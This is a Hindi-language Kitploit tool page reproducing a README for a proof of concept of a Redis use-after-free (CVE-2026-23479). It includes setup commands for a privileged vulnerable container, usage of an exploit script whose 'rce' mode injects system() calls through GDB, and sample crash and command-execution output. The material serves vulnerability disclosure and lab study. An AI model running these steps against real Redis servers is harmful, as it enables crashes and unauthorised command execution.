Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — GDB-सहायता प्राप्त शोषण के साथ अवधारणा का प्रमाण (केवल शैक्षिक / प्रयोगशाला उपयोग) | Kitploit
उपकरण/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
भेद्यता विश्लेषणशोषणडीबगर्सलर्निंग और शिक्षाडेटाबेस सुरक्षाबाइनरी शोषणलैब और अभ्यास
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GDB-सहायता प्राप्त शोषण के साथ अवधारणा का प्रमाण (केवल शैक्षिक / प्रयोगशाला उपयोग)

रिपॉजिटरी देखें
18 दिन पहलेअभी तक समीक्षित नहीं

🔥 CVE-2026-23479 – Redis UAF प्रूफ ऑफ कॉन्सेप्ट

License Python Docker CVE PoC

Redis के unblockClientOnKey() में Use-After-Free जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है
GDB-सहायता प्राप्त शोषण के साथ प्रूफ ऑफ कॉन्सेप्ट (केवल शैक्षिक / प्रयोगशाला उपयोग हेतु)


📖 अवलोकन

CVE-2026-23479 Redis संस्करण 7.2.0 से 8.6.2 तक में एक गंभीर Use‑After‑Free (UAF) भेद्यता है।
यह बग unblockClientOnKey() में मौजूद है, जो processCommandAndResetClient() को उसके रिटर्न वैल्यू की जाँच किए बिना कॉल करता है।
यदि उस कॉल के दौरान क्लाइंट मुक्त (free) कर दिया जाता है (जैसे कि eviction के कारण), तो कॉलर एक डैंगलिंग पॉइंटर पर काम करना जारी रखता है → UAF।
जो हमलावर free के बाद हीप को आकार दे सकता है, वह आर्बिट्रेरी कोड एक्ज़ीक्यूशन प्राप्त कर सकता है।

यह रिपॉज़िटरी एक GDB‑सहायता प्राप्त PoC प्रदान करती है जो:

  • सटीक भेद्य कोड पथ को ट्रिगर करता है
  • जानबूझकर क्रैश (freeClient() कॉल) उत्पन्न करके UAF को सिद्ध करता है
  • उसी बिंदु पर system() कॉल इंजेक्ट करके आर्बिट्रेरी कमांड एक्ज़ीक्यूशन प्रदर्शित करता है

⚠️ महत्वपूर्ण: यह कोई हथियारबंद (weaponised) एक्सप्लॉइट नहीं है। यह एक विशेषाधिकार प्राप्त (privileged) Docker कंटेनर के अंदर GDB का उपयोग करके यह अनुकरण करता है कि UAF का सफलतापूर्वक शोषण करने के बाद एक वास्तविक हमलावर क्या हासिल कर सकता है।
इसे केवल अपनी स्वयं की प्रयोगशाला में या उन सिस्टमों पर उपयोग करें जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।


✨ विशेषताएँ

  • 🧪 चार ऑपरेशन मोड – crash, gdb, rce, full
  • 🐳 Docker-आधारित – होस्ट पर भेद्य Redis स्थापित करने की आवश्यकता नहीं
  • 🔍 स्वचालित संस्करण पहचान – जाँचता है कि लक्ष्य प्रभावित सीमा में है या नहीं
  • 🧹 स्वयं-सफाई – प्रत्येक रन से पहले पुराने (stale) GDB सत्रों को समाप्त करता है
  • 🎯 लचीला कंटेनर नाम – --container के माध्यम से कोई भी कंटेनर पास करें
  • 📦 एकल Python फ़ाइल – मानक लाइब्रेरी के अतिरिक्त शून्य निर्भरताएँ

🧠 यह कैसे काम करता है

  1. पीड़ित को ब्लॉक करें – एक XREAD BLOCK कमांड क्लाइंट को स्ट्रीम डेटा की प्रतीक्षा कराती है।
  2. GDB अटैच करें – GDB कंटेनर के अंदर Redis प्रोसेस (pid 1) से अटैच होता है।
  3. processCommandAndResetClient पर ब्रेकपॉइंट सेट करें – यह वह फ़ंक्शन है जो ब्लॉक किए गए क्लाइंट के पुनः प्रोसेस होने पर कॉल होता है।
  4. अनब्लॉक ट्रिगर करें – उसी स्ट्रीम पर एक XADD पीड़ित को जगाता है।
  5. ब्रेकपॉइंट हिट होने पर:
    • gdb मोड: freeClient($rdi) कॉल करता है → जानबूझकर SIGSEGV उत्पन्न करता है → UAF सिद्ध करता है।
    • rce मोड: system("your command") कॉल करता है → Redis उपयोगकर्ता (डिफ़ॉल्ट रूप से root) के रूप में आर्बिट्रेरी शेल कमांड निष्पादित करता है।
  6. सत्यापित करें – स्क्रिप्ट जाँचती है कि अपेक्षित प्रूफ फ़ाइल मौजूद है (RCE) या Redis क्रैश हुआ है (UAF)।

ब्रेकपॉइंट हर बार ट्रिगर होता है जब कोई ब्लॉक किया गया क्लाइंट अनब्लॉक होता है, यह दर्शाता है कि वही कोड पथ जिसमें UAF मौजूद है, कोड एक्ज़ीक्यूशन की भी अनुमति देता है।


📋 प्रभावित संस्करण

ब्रांचभेद्य सीमा
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2

स्क्रिप्ट स्वचालित रूप से Redis संस्करण को पार्स करती है और रिपोर्ट करती है कि यह भेद्य है या नहीं।


🐳 पूर्वापेक्षाएँ

  • Docker स्थापित और चालू हो
  • Python 3.8+ (केवल stdlib उपयोग होता है)
  • एक Redis 8.6.2 Docker इमेज जो apt का उपयोग करती है (जैसे आधिकारिक redis:8.6.2)
  • कंटेनर को --privileged के साथ बनाया जाना चाहिए (ptrace के लिए आवश्यक)

⚙️ सेटअप

1. रिपॉज़िटरी क्लोन करें

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. एक भेद्य Redis कंटेनर प्रारंभ करें

root@kitploit:~
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. कंटेनर के अंदर GDB स्थापित करें

root@kitploit:~
docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. सत्यापित करें

root@kitploit:~
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 उपयोग

root@kitploit:~
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

मोड


विकल्प


📚 चरण-दर-चरण उदाहरण

नोट: सभी कमांड होस्ट मशीन से चलाए जाते हैं, न कि Docker कंटेनर के अंदर।

1. GDB के माध्यम से UAF सिद्ध करें

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

अपेक्षित आउटपुट (अंश)

root@kitploit:~
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

सेग्मेंटेशन फॉल्ट के बाद Redis क्रैश हो जाएगा।

कंटेनर को पुनः प्रारंभ करें:

root@kitploit:~
docker start redis-vuln-local

2. रिमोट कोड एक्ज़ीक्यूशन (RCE) प्राप्त करें

एक स्वच्छ स्थिति सुनिश्चित करने के लिए Redis को पुनः प्रारंभ करें:

root@kitploit:~
docker restart redis-vuln-local

एक्सप्लॉइट चलाएँ:

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

प्रूफ फ़ाइल सत्यापित करें:

root@kitploit:~
docker exec redis-vuln-local ls -l /tmp/pwned

यदि सफल होता है, तो फ़ाइल मौजूद होगी, जो यह सिद्ध करेगी कि:

root@kitploit:~
system("touch /tmp/pwned");

Redis कंटेनर के अंदर निष्पादित किया गया था।


3. GDB के बिना UAF ट्रिगर करें (मेमोरी दबाव)

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

यदि Redis अप्रत्याशित रूप से बाहर निकलता है (कंटेनर अब चालू नहीं है), तो संभवतः UAF ट्रिगर हो गया है।

इसे पुनः प्रारंभ करें:

root@kitploit:~
docker start redis-vuln-local

4. पूर्ण परीक्षण चलाएँ

root@kitploit:~
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

यह मोड:

  1. मेमोरी-दबाव क्रैश का प्रयास करता है।
  2. यदि Redis बच जाता है, तो GDB-सहायता प्राप्त विधि पर वापस जाता है।

📸 नमूना आउटपुट (RCE मोड)

root@kitploit:~
============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 मूल स्क्रिप्ट से संशोधन

मूल PoC env-redis-vuln-1 नामक कंटेनर के लिए हार्डकोडेड था और नए Python संस्करणों के साथ निष्पादित होने पर इसमें कई समस्याएँ थीं।

अद्यतन संस्करण निम्नलिखित सुधार प्रस्तुत करता है:


🧹 सफाई

root@kitploit:~
docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा अनुसंधान, और उन सिस्टमों के परीक्षण के लिए है जिनके स्वामी आप हैं या जिनके मूल्यांकन की आपके पास स्पष्ट अनुमति है।

लेखक अनधिकृत या दुर्भावनापूर्ण उपयोग का समर्थन या प्रोत्साहन नहीं करता है।

किसी भी उत्पादन या तृतीय-पक्ष सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।


📚 संदर्भ

  • CVE-2026-23479 – NVD विवरण
  • Redis सुरक्षा
  • Redis GitHub रिपॉज़िटरी

सुरक्षा समुदाय के लिए ❤️ के साथ निर्मित।

नैतिक बने रहें। सुरक्षित रहें।

टूल डाउनलोड करें
8.6
8.6.0 – 8.6.2
मोडविवरण
crashमेमोरी दबाव (memory pressure) के माध्यम से UAF ट्रिगर करने का प्रयास (GDB की आवश्यकता नहीं)। Redis क्रैश हो सकता है, लेकिन गारंटी नहीं।
gdbGDB अटैच करें और ब्रेकपॉइंट पर freeClient() कॉल करें → एक SIGSEGV को बाध्य करता है (UAF सिद्ध करता है)।
rceGDB अटैच करें और ब्रेकपॉइंट पर system(cmd) कॉल करें → कंटेनर के अंदर एक शेल कमांड निष्पादित करता है।
fullपहले crash चलाएँ; यदि Redis क्रैश नहीं होता है, तो gdb पर वापस जाएँ।
तर्कडिफ़ॉल्टविवरण
target(आवश्यक)Redis सर्वर का IP पता
-p, --port6379Redis पोर्ट
-m, --modefullcrash, gdb, rce, full में से एक
--containerenv-redis-vuln-1Docker कंटेनर का नाम
--cmdid > /tmp/pwned_by_cverce मोड में निष्पादित करने के लिए कमांड
समस्यासमाधान
हार्डकोडेड कंटेनर नाम--container तर्क जोड़ा गया और इसे सभी फ़ंक्शनों में प्रचारित किया गया।
GDB स्क्रिप्ट में commands ब्लॉक के अंदर file कमांड रखा गया थाfile /usr/local/bin/redis-server को attach से पहले स्थानांतरित किया गया ताकि GDB सिंबल सही ढंग से लोड कर सके।
subprocess.run() का उपयोग capture_output=True और stderr=... दोनों के साथ किया गया थाstdout=subprocess.DEVNULL और stderr=subprocess.DEVNULL से प्रतिस्थापित किया गया।
पुराने GDB प्रोसेस ptrace: Operation not permitted उत्पन्न कर रहे थेtrigger_uaf_gdb() और trigger_rce() दोनों में GDB लॉन्च करने से पहले pkill -9 gdb जोड़ा गया।
GDB के चुपचाप विफल होने पर कोई प्रतिक्रिया नहींGDB आउटपुट के लिए डीबग लॉगिंग जोड़ी गई और प्रूफ-फ़ाइल पहचान में सुधार किया गया।